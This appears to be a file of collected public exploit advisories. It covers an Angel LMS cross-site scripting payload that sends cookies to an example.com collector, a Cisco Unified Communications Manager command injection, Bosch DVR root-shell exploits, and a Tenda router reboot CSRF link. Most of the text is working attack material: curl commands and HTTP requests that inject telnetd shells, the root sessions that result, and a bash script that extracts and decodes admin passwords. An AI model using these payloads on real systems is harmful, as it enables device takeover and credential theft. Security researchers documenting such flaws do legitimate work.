Commit 478ee15

source: http://www.securityfocus.com/bid/44689/info

Angel Learning Management System is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Angel Learning Management System 7.3 is vulnerable; other versions may also be affected.

https://[Angel

Root]/portal/pdaview.asp?p_TS=85546&p_id=InTouchMail&pdaback="<script>document.location="http://www.example.com/pentest/pwnt.php?cookie="%2bdocument.cookie;</script>?p_TS=

85546

source: http://www.securityfocus.com/bid/44672/info

Cisco Unified Communications Manager is prone to a local privilege-escalation vulnerability.

Attackers can exploit this issue to gain administrative access to the affected device and execute arbitrary code with superuser privileges. Successful exploits will lead to the complete compromise of the device.

This issue is tracked by Cisco Bug ID CSCti52041 and CSCti74930.

Cisco Unified Communications Manager 6, 7, and 8 are vulnerable.

/usr/local/cm/bin/pktCap_protectData -i";id"

:::::::-. ... ::::::. :::.

;;, `';, ;; ;;;`;;;;, `;;;

`[[ [[[[' [[[ [[[[[. '[[

$$, $$$$ $$$ $$$ "Y$c$$

888_,o8P'88 .d888 888 Y88

MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]

[ 2014-10-01 ]

###############################################################################

# [ Bosch Security Systems DVR 630/650/670 Series ] Multiple Vulnerabilities #

###############################################################################

#

# Device: "The Bosch Video Recorder 630/650 Series is an 8/16

# channel digital recorder that uses the latest H.264

# compression technology. With the supplied PC

# software and built-in web server, the 630/650 Series is

# a fully integrated, stand-alone video management

# solution that's ready to go, straight out of the box.

# Available with a variety of storage capacities, the

# 630/650 Series features a highly reliable embedded

# design that minimizes maintenance and reduces

# operational costs. The recorder is also available with a

# built-in DVD writer."

#

# Vendor: http://www.boschsecurity.com/

# Product: DVR 630/650 http://resource.boschsecurity.us/documents/Data_sheet_enUS_1977239307.pdf

# DVR 670 http://resource.boschsecurity.us/documents/DVR_670_Series_Data_sheet_enUS_7654294923.pdf

#

# Software Download:

# http://resource.boschsecurity.us/software/Software_DVR630_650_firmware_v212_all_1980902667.zip

# http://resource.boschsecurity.us/software/Software_DVR670_firmware_v212_enUS_8599929867.zip

#

# Timeline: 2014-10-01 Vulnerability discovered

# 2014-10-03 1 Contact with vendor - No response

# 2014-10-14 Published

#

#

###################################################################

# Gaining Root Shell Access [1]:

POST /Net_work.xml HTTP/1.1

Accept: */*

Accept-Language: pl

Referer: http://10.11.219.2/network.html

Content-Type: text/xml; charset=UTF-8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: 10.11.219.2

Content-Length: 1274

DNT: 1

Proxy-Connection: Keep-Alive

Pragma: no-cache

Cookie: MosaLanguage=0; session=

<NETWORK_SETTING>

<DHCP>0</DHCP>

<DHCPIP>10.11.219.2</DHCPIP>

<DHCPMASK>255.255.255.0</DHCPMASK>

<DHCPGW>10.11.219.1</DHCPGW>

<DHCPDNS1>0.0.0.0</DHCPDNS1>

<DHCPDNS2>0.0.0.0</DHCPDNS2>

<IP>10.11.219.2</IP>

<MASK>255.255.255.0</MASK>

<GW>10.11.219.1</GW>

<DNS1>0.0.0.0</DNS1>

<DNS2>0.0.0.0</DNS2>

<HTTP_PORT>80</HTTP_PORT>

<BANDWIDTH>0</BANDWIDTH>

<DDNS_SERVER>1</DDNS_SERVER>

<DYNDNS_HOST>wxss</DYNDNS_HOST>

<DYNDNS_USER>ffl</DYNDNS_USER>

<DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>

<TZO_HOST></TZO_HOST>

<TZO_MAIL></TZO_MAIL>

<TZO_KEY></TZO_KEY>

<SITE_HOST>sdads</SITE_HOST>

<SITE_PWD>dsadsd</SITE_PWD>

<SITE_RECORDID>sdasdas</SITE_RECORDID>

<SITE_FQDN>dasdas</SITE_FQDN>

<ALARM_ON>0</ALARM_ON>

<MOTION>0</MOTION>

<DISK_FAIL>0</DISK_FAIL>

<DISK_FULL>0</DISK_FULL>

<FAN_FAIL>0</FAN_FAIL>

<DISK_TEMP>0</DISK_TEMP>

<ADMIN_PW>0</ADMIN_PW>

<VIDEO_LOSS>0</VIDEO_LOSS>

<POWER>0</POWER>

<SENDER>0</SENDER>

<SMTP></SMTP>

<SMTP_PORT>25</SMTP_PORT>

<SSL>0</SSL>

<USERNAME></USERNAME>

<PWD></PWD>

<SENDER_MAIL></SENDER_MAIL>

<SUBJECT></SUBJECT>

<MAIL_1></MAIL_1>

<MAIL_2></MAIL_2>

<MAIL_3></MAIL_3>

<MAIL_TEST>0</MAIL_TEST>

</NETWORK_SETTING>

## PoC:

root@debian:~# curl -i -s -k -X 'POST' -H 'Referer: http://10.11.219.2/network.html' -H 'Content-Type: text/xml; charset=UTF-8' \

-H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \

-b 'MosaLanguage=0; session=' --data-binary $'<NETWORK_SETTING>\x0d\x0a <DHCP>0</DHCP>\x0d\x0a <DHCPIP>10.11.219.2</DHCPIP>\x0d\x0a \

<DHCPMASK>255.255.255.0</DHCPMASK>\x0d\x0a <DHCPGW>10.11.219.1</DHCPGW>\x0d\x0a <DHCPDNS1>0.0.0.0</DHCPDNS1>\x0d\x0a \

<DHCPDNS2>0.0.0.0</DHCPDNS2>\x0d\x0a <IP>10.11.219.2</IP>\x0d\x0a <MASK>255.255.255.0</MASK>\x0d\x0a <GW>10.11.219.1</GW>\x0d\x0a \

<DNS1>0.0.0.0</DNS1>\x0d\x0a <DNS2>0.0.0.0</DNS2>\x0d\x0a <HTTP_PORT>80</HTTP_PORT>\x0d\x0a <BANDWIDTH>0</BANDWIDTH>\x0d\x0a \

<DDNS_SERVER>1</DDNS_SERVER>\x0d\x0a <DYNDNS_HOST>wxss</DYNDNS_HOST>\x0d\x0a <DYNDNS_USER>ffl</DYNDNS_USER>\x0d\x0a \

<DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>\x0d\x0a <TZO_HOST></TZO_HOST>\x0d\x0a <TZO_MAIL></TZO_MAIL>\x0d\x0a \

<TZO_KEY></TZO_KEY>\x0d\x0a <SITE_HOST>sdads</SITE_HOST>\x0d\x0a <SITE_PWD>dsadsd</SITE_PWD>\x0d\x0a \

<SITE_RECORDID>sdasdas</SITE_RECORDID>\x0d\x0a <SITE_FQDN>dasdas</SITE_FQDN>\x0d\x0a <ALARM_ON>0</ALARM_ON>\x0d\x0a \

<MOTION>0</MOTION>\x0d\x0a <DISK_FAIL>0</DISK_FAIL>\x0d\x0a <DISK_FULL>0</DISK_FULL>\x0d\x0a <FAN_FAIL>0</FAN_FAIL>\x0d\x0a \

<DISK_TEMP>0</DISK_TEMP>\x0d\x0a <ADMIN_PW>0</ADMIN_PW>\x0d\x0a <VIDEO_LOSS>0</VIDEO_LOSS>\x0d\x0a <POWER>0</POWER>\x0d\x0a \

<SENDER>0</SENDER>\x0d\x0a <SMTP></SMTP>\x0d\x0a <SMTP_PORT>25</SMTP_PORT>\x0d\x0a <SSL>0</SSL>\x0d\x0a <USERNAME></USERNAME>\x0d\x0a \

<PWD></PWD>\x0d\x0a <SENDER_MAIL></SENDER_MAIL>\x0d\x0a <SUBJECT></SUBJECT>\x0d\x0a <MAIL_1></MAIL_1>\x0d\x0a <MAIL_2></MAIL_2>\x0d\x0a \

<MAIL_3></MAIL_3>\x0d\x0a <MAIL_TEST>0</MAIL_TEST>\x0d\x0a</NETWORK_SETTING>\x0d\x0a' 'http://10.11.219.2/Net_work.xml'

root@debian:~# telnet 10.11.219.2 30

Trying 10.11.219.2...

Connected to 10.11.219.2.

Escape character is '^]'.

BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash)

Enter 'help' for a list of built-in commands.

/ # id

uid=0(root) gid=0(root)

/ # uname -a

Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown

/ # ps |grep telnet

2827 root 228 S telnetd -l/bin/sh -p30

/ # netstat -ltn | grep 30

tcp 0 0 0.0.0.0:30 0.0.0.0:* LISTEN

/ # echo pwnd & exit

pwnd

Connection closed by foreign host.

root@debian:~#

###################################################################

# Gaining Root Shell Access (authorization is needed) [2]:

GET /ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id&rnd=4392 HTTP/1.1

Accept: */*

Accept-Language: pl

Referer: http://10.11.219.2/system.html

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: 10.11.219.2

DNT: 1

Proxy-Connection: Keep-Alive

Cookie: MosaLanguage=0; session=

## PoC:

root@debian:~# curl -i -s -k -X 'GET' \

-H 'Referer: http://10.11.219.2/system.html' \

-H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \

-b 'MosaLanguage=0; session=' 'http://10.11.219.2/ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id'

root@debian:~# telnet 10.11.219.2 40

Trying 10.11.219.2...

Connected to 10.11.219.2.

Escape character is '^]'.

BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash)

Enter 'help' for a list of built-in commands.

/ # id

uid=0(root) gid=0(root)

/ # uname -a

Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown

/ # ps |grep telnet

2827 root 228 S telnetd -l/bin/sh -p40

/ # netstat -ltn | grep 40

tcp 0 0 0.0.0.0:40 0.0.0.0:* LISTEN

/ # echo pwnd & exit

pwnd

Connection closed by foreign host.

root@debian:~#

###################################################################

# Admin Password Disclosure: http://10.11.219.2/User.cgi?cmd=get_user

## PoC Exploit:

#!/bin/bash

x=0;

for i in $(curl --silent http://10.11.219.2/User.cgi?cmd=get_user| sed 's/<[^>]\+>/ /g' | sed -r 's/(\s)+[0-9]//g');

do base64 -d<<<$i; if [ $(( $x % 2 )) -eq 0 ]; then echo -n ":"; else echo ; fi; ((x++)); done

###################################################################

# Sensitive Information Disclosure:

http://10.11.219.2/Config.cgi?cmd=system_info

http://10.11.219.2/System.xml

http://10.11.219.2/Net_work.xml

http://10.11.219.2/webcmd.html

/ # cat /4mosa600/data/Webcmd_help.txt

cmd value (sample)

====================+==========================

blockid | 0 ~ block max // show block info and flag and gop status.

--------------------+-------------------------

disk | // show disk temp.

--------------------+-------------------------

reboot | // restart DVR.

--------------------+-------------------------

remote-info | // socket status.

--------------------+-------------------------

log | 1: System // show system log.

| 2: Record

| 4: Login

| 8: Configure

| 16: Operation

| 31: All

| 63: Service

--------------------+-------------------------

ionly | 1~12 how many frames in a GOP will send to internet

| 0: all I/P-frame (default)

| 1: I only

| 2: IP

| 3: IPP

| 4: IPPP

| ....

| 12: IPPPPPPPPPPP

| others: show current value on DVR.

--------------------+-------------------------

chlink | 0~MKF_CHANNEL // show channel link.

--------------------+-------------------------

bitrate | // show bitrate information.

--------------------+-------------------------

dls | // show about time and DLS message.

--------------------+-------------------------

bmp | // dump bmp file to http://x.x.x.x/vga0.bmp

--------------------+-------------------------

msg | This is bitmap

| bit 0 show encode FPS and Bitrate.

| bit 1 show encode resolution.(dependent bit 1)

| bit 2 show remote client mesage.

| bit 3 show ptz command.

| bit 4 cpu and memory usage..

--------------------+-------------------------

remote-cgi | 0 disable all cgi command.

| 1 show all cgi command to console.

| 2 show cig command if not "login_id"

--------------------+-------------------------

# Exploit Title: Tenda A32 Router CSRF Vulnerability(reboot the Router)

# CVE ID :CVE-2014-7281

# Date: 2014-10-10

# Exploit Author: zixian

# Vendor Homepage: http://tenda.com.cn/

# Software Link: http://tenda.com.cn/Catalog/Product/325

# Version: V5.07.53_CN

When the administrator login, click on the link below? the device will reboot?

<a href="http://192.168.2.1/goform/SysToolReboot">reboot</a>